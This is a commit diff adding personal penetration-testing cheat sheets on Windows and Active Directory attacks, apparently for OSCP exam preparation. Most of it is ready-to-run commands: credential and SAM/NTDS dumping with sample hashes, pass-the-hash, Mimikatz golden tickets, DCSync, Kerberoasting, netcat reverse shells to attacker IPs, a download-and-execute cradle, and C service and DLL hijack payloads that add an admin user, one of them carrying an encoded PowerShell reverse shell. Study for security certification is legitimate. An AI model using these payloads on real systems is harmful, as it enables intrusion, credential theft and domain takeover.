first commit

Windows/Active Directory for OSCP.md

@@ -0,0 +1,3 @@
+<https://whimsical.com/active-directory-YJFeAhW9GMtmLX4SWxKCCM> (Follow Mind map for nodes)
+
+![unnamed_b656515f39144863bbdaa2d5851c417c](unnamed_b656515f39144863bbdaa2d5851c417c.png)

Windows/Active Directory for OSCP/Enumeration.md

@@ -0,0 +1,7 @@
+
+```plain-text
+- net user
+- net user /domain
+- net user <username> /domain
+- net group /domain
+```

Windows/Active Directory for OSCP/Enumeration/PowerView Enumeration.md

@@ -0,0 +1,57 @@
+
+```sh
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+<# Get-NetLoggedOn 
+		This function will execute the NetWkstaUserEnum Win32API call to query
+		a given host for actively logged on users.
+#>
+- Get-NetComputer | Get-NetLoggedon
+
+<# Get-NetUser
+Return all users or specific user objects in AD
+
+		To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all user objects for
+the current domain are returned.
+#>
+- Get-NetUser -UserName student107
+
+<# Get-NetComputer
+	Return all computers or specific computer objects in AD.
+		To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all computer objects for
+the current domain are returned.
+#>
+- Get-NetComputer
+- Get-NetComputer -Unconstrained
+
+<# Get-DomainShare
+	Searches for computer shares on the domain. If -CheckShareAccess is passed,
+	then only shares the current user has read access to are returned.
+#>
+-	Find-DomainShare -CheckShareAccess -Domain svcorp.com -DomainController 10.11.1.20
+
+
+<# Get-DomainOU
+	Search for all organization units (OUs) or specific OU objects in AD.
+#>
+
+Get-DomainOU -Properties Name | sort -Property Name
+
+#Get Kerberoastable SPNs
+Get-NetUser -SPN | select serviceprincipalname
+
+Request-SPNTicket -SPN "MSSQLSvc/DC.access.offsec" -Format Hashcat
+
+#Get the count of all the Domain Admins in the domain
+Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+#
+Get-NetComputer | select operatingsystem,dnshostname
+
+#
+Find-LocalAdminAccess
+
+```

Windows/Active Directory for OSCP/Enumeration/net cmd.md

@@ -0,0 +1,3 @@
+net group /domain
+net user /domain
+net group “GRUPP” /domain

Windows/Active Directory for OSCP/Enumeration/script.md

@@ -0,0 +1,63 @@
+
+
+
+
+
+
+
+*LegmanTeamBenzoin!!*
+
+powershell -ep bypass
+
+$group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Customer support*))"
+```powershell
+$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
+$DN = ([adsi]'').distinguishedName 
+$LDAP = "LDAP://$PDC/$DN"
+
+$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
+
+$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
+$dirsearcher.filter="samAccountType=805306368"
+$dirsearcher.FindAll()
+Foreach($obj in $result)
+{
+    Foreach($prop in $obj.Properties)
+    {
+        $prop
+    }
+
+    Write-Host "-------------------------------"
+}
+$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
+$dirsearcher.filter="name=michelle"
+$result = $dirsearcher.FindAll()
+
+Foreach($obj in $result)
+{
+    Foreach($prop in $obj.Properties)
+    {
+        $prop.memberof
+    }
+
+    Write-Host "-------------------------------"
+}
+```
+
+```powershell
+function LDAPSearch {
+    param (
+        [string]$LDAPQuery
+    )
+
+    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
+    $DistinguishedName = ([adsi]'').distinguishedName
+
+    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
+
+    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)
+
+    return $DirectorySearcher.FindAll()
+
+}
+```

Windows/Active Directory for OSCP/Initial Access/Get User List.md

@@ -0,0 +1,13 @@
+
+```sh
+- crackmapexec smb <ip> -u '' -p '' --users #powerfull
+- nmap --script smb-enum* -p445 10.10.10.161 (More user might show up in cme)
+- ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local" '(objectClass=user)' sAMAccountName
+- rpcclient -U '' 10.10.10.161 #powerfull
+		- queryusergroups <RID>
+		- querygroup <Group RID>
+		- queryuser <RID>
+		
+- GetADUsers.py -all active.htb/svc_tgs -dc-ip <ip>
+# Need Password
+```

Windows/Active Directory for OSCP/Initial Access/LDAP Search.md

@@ -0,0 +1,8 @@
+
+```sh
+# Finding Usernames
+ldapsearch x -h ldap://<IP> -s base
+
+ldapsearch -x -h <ip> -s base namingcontexts
+ldapsearch -x -h <ip> -b 'DC =  , DC = ' -s sub
+```

Windows/Active Directory for OSCP/Initial Access/SMB Shares.md

@@ -0,0 +1,21 @@
+
+
+
+```sh
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+┌──(kali㉿kali)-[~]
+└─$ smbmap -R '\' -H 10.10.10.100 -P 445
+		smbmap -R '\' -H 10.10.10.161 -P 445 -u svc-alfresco -p s3rvice
+		smbmap -d active.htb -u svc_tgs -p <pass> -H <ip>
+		proxychains smbclient \\\\172.16.240.83\\Windows -U 'medtech.com\joe'
+
+┌──(kali㉿kali)-[~]
+└─$ sudo smbmap -R 'Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups' -H 10.10.10.100 --download 'Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml'
+
+
+crackmapexec smb <ip> -u <user> -p <pass>--shares
+# Reading shares with authenticated User and Pass.
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+
+```

Windows/Active Directory for OSCP/Initial Access/Scan Network.md

@@ -0,0 +1,7 @@
+
+```sh
+proxychains crackmapexec smb <IP_range>
+
+
+└─$ proxychains nmap -sT -p80,443,135,139,445,21,53,22,23,389,636,3268,3269,25,5985,5986,3389,88,111,161,1433,110 172.16.224.83 -Pn
+```

Windows/Active Directory for OSCP/Lateral Movement/Credential SAM dumping.md

@@ -0,0 +1,25 @@
+
+
+[Dumping Credentials – SAM File Hashes - Juggernaut-Sec](https://juggernaut-sec.com/dumping-credentials-sam-file-hashes/)
+```sh
+reg save hklm\sam C:\temp\SAM
+reg save hklm\system C:\temp\SYSTEM
+
+secretsdump.py -sam SAM -system SYSTEM LOCAL
+
+┌──(alien㉿world)-[~/PWK2023/oscpb/192.168.224.147]
+└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
+Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
+
+[*] Target system bootKey: 0x8bca2f7ad576c856d79b7111806b533d
+[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
+Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5976148a933177a:::
+tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
+Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::
+David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::
+Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::
+[*] Cleaning up...
+```

Windows/Active Directory for OSCP/Lateral Movement/DCOM.md

@@ -0,0 +1,3 @@
+`$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","`**192.168.50.73**`"))`
+
+`$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"REVERSE SHELL","7")`

Windows/Active Directory for OSCP/Lateral Movement/Interactive Shell.md

@@ -0,0 +1,5 @@
+
+```sh
+impacket-psexec <domain>/<user>:<password>@<ip>
+impacket-wmiexec -hashes <hash> htb.local/administrator@<ip>
+```

Windows/Active Directory for OSCP/Lateral Movement/Pass-The-Hash [psexec, impacket, CME].md

@@ -0,0 +1,11 @@
+Pass-The-Hash [psexec, impacket, CME]
+
+```sh
+- crackmapexec smb 192.168.154.171 -u 'ted' -d  'exam.com' -H ':31aa99ebd6ea4b6d07051acfd48efa35' --shares
+
+- impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" exam.com/[email protected]
+# Try without DOMAIN NAME ALSO
+- impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" [email protected]
+
+- evil-winrm -i 192.168.154.170 -u zensvc -H d098fa8675acd7d26ab86eb2581233e5
+```

Windows/Active Directory for OSCP/Lateral Movement/Pseudo-Shell.md

@@ -0,0 +1,11 @@
+
+#For psexec write ADMIN$ writeable shares in the machine with powerview scripts
+```sh
+- atexec.py <domain>/<user>:<password>@<ip> "command"
+- smbexec.py <domain>/<user>:<password>@<ip>
+- psexec.py <domain>/<user>:<password>@<ip>
+- wmiexec.py <domain>/<user>:<password>@<ip>
+- dcomexec.py <domain>/<user>:<password>@<ip>
+- crackmapexec smb <ip_range> -u <user> -d <domain>
+- crackmapexec smb <ip_range> -u <user> -d <domain> -local-auth
+```

Windows/Active Directory for OSCP/Lateral Movement/RDP.md

@@ -0,0 +1,25 @@
+
+to share a local folder as a share
+
+
+
+Add new user and add it to RDP group :
+
+
+
+
+Enable RDP: 
+
+
+
+```sh
+xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution
+```
+
+```sh
+xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
+```
+
+```powershell
+net user hacker password123? /add && net localgroup "Remote Desktop users" hacker /add && net localgroup Administrators hacker /add
+```

Windows/Active Directory for OSCP/Lateral Movement/Win-RM.md

@@ -0,0 +1,6 @@
+Win-RM
+
+```sh
+# Port 5985 - open
+evil-winrm -i <ip> -u <user> -p <password>
+```

Windows/Active Directory for OSCP/Low Hanging Fruit/Group Policy in SYSVOL.md

@@ -0,0 +1,11 @@
+1. Group Policy Preferences is a collection of Group Policy client-side extensions that deliver preference settings to domain-joined computers running Microsoft Windows desktop and server operating systems.
+2. These policies allowed them to set local accounts, and embed credentials for various purposes that may otherwise require an embedded password in a script. So when a new Group Policy Preference (GPP) is generated, a xml file (generally Groups.xml) with the configuration data, including any passwords associated with the GPP, is created in the SYSVOL share which are folders on domain controllers accessible and readable to all authenticated domain users.
+3. The cpassword stored in XML file looks like:
+
+```sh
+└─$ cat Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml...
+D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1"
+...
+
+gpp-decrypt <hash>
+```

Windows/Active Directory for OSCP/Low Hanging Fruit/Null Login.md

@@ -0,0 +1,9 @@
+
+```sh
+crackmapexec smb <ip> --shares -u '' -p ''
+smbmap -H <ip> -u '' -p ''
+smbmap -H <ip> -u ''
+
+rpcclient <ip> -U ''
+-> enumdomusers
+```

Windows/Active Directory for OSCP/Mimikatz.md

@@ -0,0 +1,28 @@
+
+```sh
+- privilege::debug
+- sekurlsa::logonpasswords
+- sekurlsa::tickets
+- sekurlsa::tickets /export
+- lsadump::sam
+- kerberos::purge
+- kerberos::list
+
+- lsadump::dcsync /user:corp\dave
+#RC4 can be ntlm hash
+- kerberos::golden /user:zensvc /domain:exam.com /sid:S-1-5-21-88558181-3850747640-3669402957 /target:dc02.exam.com /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
+
+#overpassthehash
+- sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe
+
+#Golden ticket
+lsadump::lsa /patch
+kerberos::purge
+kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
+
+#cmd: 
+
+
+
+
+```

Windows/Active Directory for OSCP/NTDS.dir cracking with SYSTEM.md

@@ -0,0 +1,4 @@
+
+```sh
+impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
+```

Windows/Active Directory for OSCP/Permission Move/DC Sync.md

@@ -0,0 +1,26 @@
+Port 49667, 445, 135 is used for DC Sync attack
+
+## Enumeration (PowerView)
+
+## Permission needed for DCSync
+1. Replicating Directory Changes ([DS-Replication-Get-Changes](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes))
+
+2. Replicating Directory Changes All ([DS-Replication-Get-Changes-All](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all))
+
+3. Replicating Directory Changes In Filtered Set ([DS-Replication-Get-Changes-In-Filtered-Set](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set)) (this one isn’t always needed but we can add it just in case)
+
+`Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'leon'}
+`One-Liner that will transfer our `owned user` to `“Exchange Windows Permissions”` and we become part of the `DCSync` and `WriteDacl permissions` and then fetch hash with [secretsdump.py](http://secretsdump.py)
+`
+`Reference:
+[HTB: Forest | 0xdf hacks stuff](https://0xdf.gitlab.io/2020/03/21/htb-forest.html)
+```sh
+# Toss up PowerView before running the One-Liner that will give us the DCSync rights.
+Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username = "medtech.com\\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -TargetIdentity 'medtech.com\\Domain Admins' -Rights DCSync
+
+# Check if user got added to the group with GenericAll Permission
+net group "Exchange Windows Permissions"
+secretsdump.py svc-alfresco:s3rvice@<ip>
+# Passing the hash
+wmiexec.py -hashes <hash> htb.local/administrator@<ip>
+```

Windows/Active Directory for OSCP/Valid Credentials/BloodHound.md

@@ -0,0 +1,13 @@
+
+```sh
+Location /opt/BloodHound-linux-x64/resources/app/Collectors
+
+sudo neo4j console
+sudo ./BloodHound --no-sandbox
+
+# On victim machine
+Import-Module ./SharpHound.ps1
+invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
+
+.\sharp.exe -c all -d <domain>
+```

Windows/Active Directory for OSCP/Valid Credentials/CrackHash.md

@@ -0,0 +1,13 @@
+
+
+
+```sh
+#Kerberos 5 TGS etype 23
+	hashcat -m 13100 -a 0 hash rockyou.txt
+#Kerberos asrep 23
+	hashcat -m 18200 hash rockyou.txt
+#NTLM (mimikatz sam dump, sekurlsa::logonpasswords)
+	hashcat -m 1000 hash <wordlist>
+
+```
+![unnamed_813da3841a61459c8ec272cffc3b78f2](unnamed_813da3841a61459c8ec272cffc3b78f2.png)

Windows/Active Directory for OSCP/Valid Credentials/Kerberoasting.md

@@ -0,0 +1,22 @@
+First Find SPN of the kerberoastable user (Powerview script)
+
+```sh
+- impacket-GetUserSPNs -request -dc-ip <dc-ip> <full domain>/<user>:<password>
+- impacket-GetUserSPNs -no-preauth "<asrep_user>" -usersfile "<userlist.txt>" -dc-host "<dc_ip>" "<domain>"/
+- Rubeus.exe kerberoast
+
+# Powerview: Get Kerberoast hash of a user
+Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
+
+# Powerview: Get all Kerberoast hashes
+Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
+.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
+.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
+
+# Invoke-Kerberoast
+iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
+Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
+```

Windows/Active Directory for OSCP/Valid Credentials/Runas (Invoke-RunasCs).md

@@ -0,0 +1,12 @@
+Get that token authorization on windows so we can run bloodhound.
+
+[RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs · GitHub](https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1)
+
+```sh
+runas /netonly /user:active.htb\svc_tgs cmd
+```
+
+```sh
+Invoke-RunasCs svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\nc.exe -e cmd.exe 192.168.45.227 53"
+WORKS EVERYWHERE
+```

Windows/Active Directory for OSCP/We have User Name but no Password/ASREP Roast.md

@@ -0,0 +1,6 @@
+
+```sh
+ls /usr/share/doc/python3-impacket/examples
+
+python3 GetNPUsers.py htb.local/ -usersfile user.txt -format hashcat -outputfile hashes.domain.txt
+```

Windows/Active Directory for OSCP/We have User Name but no Password/Password Spray.md

@@ -0,0 +1,11 @@
+
+```sh
+# Put finding password in password.txt
+crackmapexec smb <IP> -u users.txt -p password.txt
+proxychains crackmapexec smb 172.16.224.82 -u <each user in the domain> -H hash.txt OR -P <Password>
+
+#Dump PAssword Policy
+crackmapexec smb --pass-pol 10.10.10.169
+
+└─$ proxychains crackmapexec smb ips.txt -u yoshi -p Mushroom!
+```

Windows/CMD/Backup.md

@@ -0,0 +1,7 @@
+
+Backup command: 
+
+
+```powershell
+robocopy /b C:\Users\enterpriseadmin\Desktop\ .\stolen
+```

Windows/CMD/File Transfer.md

@@ -0,0 +1,17 @@
+Download file
+
+Upload file
+`
+`
+
+`(New-Object System.Net.WebClient).UploadFile('http://192.168.45.206:8000/', '20240917122437_BloodHound.zip')`
+```powershell
+iwr -uri http://192.168.45.224:8000/adduser.exe -Outfile adduser.exe
+```
+
+```powershell
+$uri="http://192.168.118.2/upload/"
+$uploadPath="file.txt"
+$wc = New-Object System.Net.WebClient
+$resp = $wc.UploadFile($uri,$uploadPath)
+```

Windows/CMD/Permission.md

@@ -0,0 +1,15 @@
+
+
+
+
+icacc| F | Full access |
+| --- | --- |
+| M | Modify access |
+| RX | Read and execute access |
+| R | Read-only access |
+| W | Write-only access |
+| MASK | PERMISSIONS |
+
+```powershell
+icacls "C:\xampp\apache\bin\httpd.exe"
+```

Windows/CMD/Power_Reboot.md

@@ -0,0 +1,4 @@
+
+```powershell
+shutdown /r /t 0
+```

Windows/Information Gathering.md

@@ -0,0 +1,10 @@
+`- Username and hostname
+- Group memberships of the current user
+- Existing users and groups
+- Operating system, version and architecture
+- Network information
+- Installed applications
+- Running processes`
+
+<https://github.com/itm4n/PrivescCheck>
+powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"

Windows/Information Gathering/History.md

@@ -0,0 +1,6 @@
+Get-History
+
+
+```powershell
+(Get-PSReadlineOption).HistorySavePath
+```

Windows/Information Gathering/Installed Program.md

@@ -0,0 +1,14 @@
+Installed Applications
+
+
+
+Current running program 
+
+
+```powershell
+Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
+```
+
+```powershell
+Get-Process
+```

Windows/Information Gathering/Locate files.md

@@ -0,0 +1,15 @@
+
+
+
+
+```powershell
+Get-ChildItem -Path C:\ -Include certutil* -File -Recurse -ErrorAction SilentlyContinue
+```
+
+```powershell
+Get-ChildItem -Path C:\Users\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
+```
+
+```powershell
+Get-ChildItem -Path C:\Users\mac\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
+```

Windows/Information Gathering/Network.md

@@ -0,0 +1,16 @@
+Print all routes
+
+
+
+All active connection 
+
+
+
+
+```dosbatch
+route print
+```
+
+```dosbatch
+netstat -ano
+```

Windows/Information Gathering/Username and Hostname.md

@@ -0,0 +1,40 @@
+
+List groups for the current user
+
+
+Get all users (powershell)
+
+
+
+Get all Groups
+
+
+Get members of a group
+
+
+
+
+
+```dosbatch
+whoami /groups
+```
+
+```powershell
+Get-LocalUser
+```
+
+```powershell
+Get-LocalGroup
+```
+
+```powershell
+Get-LocalGroupMember GROUPNAME
+```
+
+```dosbatch
+systeminfo
+```
+
+```dosbatch
+runas /user:backupadmin cmd
+```

Windows/Privesc/Juicypotato.md

@@ -0,0 +1,7 @@
+`-l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')"`
+`-p c:\windows\system32\cmd.exe -a "/c c:\users\adrian\downloads\nc.exe -e cmd.exe 192.168.45.206 4444" -t *`
+
+
+## Sigmapotato
+
+c:\users\a.hansen\desktop\nc.exe -e cmd.exe 192.168.49.91 4444"

Windows/SMB.md

@@ -0,0 +1,5 @@
+If SMB1 > Test ethernal blue
+
+Check if signing is on or not : 
+
+smbclient //IP --client-protection=off (signing if of or not)

Windows/SMB/crackmapexec.md

@@ -0,0 +1,101 @@
+### SMB Server Information and Enumeration Techniques
+
+#### **Basic Connection to SMB Server:**
+```bash
+cme smb <IP>
+```
+- Establishes a connection to the SMB server at the specified IP.
+- Verifies if the SMB service is active and responsive.
+
+---
+
+#### **Testing Null or Anonymous Access:**
+```bash
+cme smb <IP> -u '' -p ''
+```
+- Attempts a connection to the SMB server without session credentials.
+- Useful for identifying if guest or anonymous access is permitted on the server.
+
+---
+
+#### **Guest Account Access Check:**
+```bash
+cme smb <IP> -u 'guest' -p ''
+```
+- Connects using the ‘guest’ account with no password.
+- Can help identify if guest access is enabled and examine associated permissions.
+
+---
+
+#### **User Enumeration via RID Brute Force:**
+```bash
+cme smb <IP> -u 'USER' -p 'PASSWORD' --rid-brute
+```
+- Performs RID brute-forcing to enumerate all users on the SMB server.
+- Useful for gathering a complete list of valid usernames, aiding further enumeration or exploitation.
+  - *Tip:* Use the `-k` flag to switch to Kerberos if NTLM authentication is disabled on the target.
+
+---
+
+#### **Local Admin Data Extraction:**
+If local admin privileges are confirmed, use the following commands:
+
+- **Dump LSA (Local Security Authority) Data:**
+   ```bash
+   cme smb <IP> --lsa
+   ```
+   - Dumps sensitive LSA data, such as stored credentials and session tokens.
+
+- **Extract SAM Database (Security Account Manager):**
+   ```bash
+   cme smb <IP> --sam
+   ```
+   - Retrieves the SAM database, containing local user information and password hashes.
+
+*Note:* Ensure local admin privileges before using `--lsa` or `--sam`, as these commands extract highly sensitive information.
+
+---
+
+### Enhancing CME Logging with `cme.conf`
+
+Customize logging within CME’s configuration file (`cme.conf`) for more detailed logging and custom success messages.
+
+- **Example Configuration:**
+  ```plaintext
+  pwn3d_label = Admin! # Customize success message to "Admin!" upon login
+  log_mode = True      # Enables verbose logging for auditing and troubleshooting
+  ```
+
+Enabling `log_mode` provides detailed output, which is useful for tracking activities or debugging issues.
+
+---
+
+### Extracting NTDS.DIT for Domain-Wide Credential Access
+```bash
+cme smb <IP> --ntds
+```
+- Extracts the NTDS.DIT database, which holds domain user and machine credentials.
+- Effective for gaining access to the entire domain credential set, a key target in domain compromise scenarios.
+  - *Tip:* Use `--user krbtgt` to leverage the Krbtgt account for impersonating any user.
+
+*Prerequisite:* Requires domain admin privileges or equivalent to access NTDS.DIT data.
+
+---
+### Mimikatz Alternative
+
+```bash
+cme smb <IP> -M lssasy
+```
+
+
+---
+
+
+### Additional Best Practices and Tips
+
+- **NTLM vs. Kerberos Authentication**: If NTLM is disabled, specify `-k` to enable Kerberos, the preferred protocol on many modern domains.
+- **Privilege Requirements Awareness**: Commands like `--lsa` and `--sam` need elevated privileges. Verify your access level before executing commands with high privilege requirements.
+- **Secure Password Handling**: Avoid hardcoding sensitive passwords directly in command-line inputs. Instead, reference stored credentials securely to prevent exposure in logs.
+
+---
+

Windows/Scheduled Tasks.md

@@ -0,0 +1,6 @@
+List scheduled tasks: 
+
+
+```powershell
+schtasks /query /fo LIST /v
+```

Windows/Services/Binary Hijacking.md

@@ -0,0 +1,27 @@
+
+
+
+
+
+
+```powershell
+Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
+```
+
+```c
+#include <stdlib.h>
+
+int main ()
+{
+  int i;
+
+  i = system ("net user dave2 password123! /add");
+  i = system ("net localgroup administrators dave2 /add");
+  i = system ("powershell -ep bypass -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");
+  return 0;
+}
+```
+
+```sh
+x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
+```

Windows/Services/DLL Hijacking.md

@@ -0,0 +1,56 @@
+### This setting was implemented by Microsoft due to the high number of DLL hijacking vectors and ensures that DLLs are more difficult to hijack. The following listing shows the standard search order taken from the Microsoft Documentation:^3:1^
+`1. The directory from which the application loaded.
+2. The system directory.
+3. The 16-bit system directory.
+4. The Windows directory. 
+5. The current directory.
+6. The directories that are listed in the PATH environment variable.`
+
+Display the PATH environment variable
+
+
+Dll **template**
+
+
+
+```powershell
+$env:path
+```
+
+```cpp
+
+
+
+
+
+
+
+#include <stdlib.h>
+#include <windows.h>
+
+BOOL APIENTRY DllMain(
+HANDLE hModule,// Handle to DLL module
+DWORD ul_reason_for_call,// Reason for calling function
+LPVOID lpReserved ) // Reserved
+{
+    switch ( ul_reason_for_call )
+    {
+        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
+        int i;
+            i = system ("net user dave2 password123! /add");
+            i = system ("net localgroup administrators dave2 /add");
+        break;
+        case DLL_THREAD_ATTACH: // A process is creating a new thread.
+        break;
+        case DLL_THREAD_DETACH: // A thread exits normally.
+        break;
+        case DLL_PROCESS_DETACH: // A process unloads the DLL.
+        break;
+    }
+    return TRUE;
+}
+```
+
+```sh
+x86_64-w64-mingw32-gcc dll.c --shared -o myDLL.dll
+```

Windows/Services/Unquoted Service Paths.md

@@ -0,0 +1,10 @@
+### Let's show this in an example with the unquoted service binary path **C:\Program Files\My Program\My Service\service.exe**### . When Windows starts the service, it will use the following order to try to start the executable file due to the spaces in the path.
+`C:\Program.exe
